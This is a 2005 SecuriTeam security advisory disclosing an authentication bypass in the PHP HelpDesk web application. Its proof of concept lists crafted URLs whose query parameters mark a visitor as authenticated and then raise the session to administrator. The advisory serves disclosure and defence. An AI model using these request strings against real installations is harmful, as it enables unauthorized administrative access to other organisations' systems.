[UNIX] PHP HelpDesk Authentication Bypass (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/11/05

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    Date: 11 Oct 2005 12:05:54 +0200
    
    

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      PHP HelpDesk Authentication Bypass (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <https://sourceforge.net/projects/phphelpdesk/> PHP Helpdesk is "a tool
    that allows administrators to handle tasks related to their organisation.
    This tool is used to record and monitor the progress of tasks assigned to
    people. This is an excellent and simple tool for handling tasks". PHP
    Helpdesk has a fault in the implementation of the cookie values set. Using
    crafted URL's it is possible to get full access to the system.

    DETAILS

    Proof of Concept:
    Access a site that holds the login to PHP HelpDesk
    http://www.target.com/helpdesk/index.php

    Change the system so that you are authenticated
    http://www.target.com/helpdesk/index.php?authentication=true

    Up you privileges to admin
    http://www.target.com/helpdesk/index.php?authentication=true&user=admin

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:taylorg@southport-college.ac.uk> Garry Taylor.

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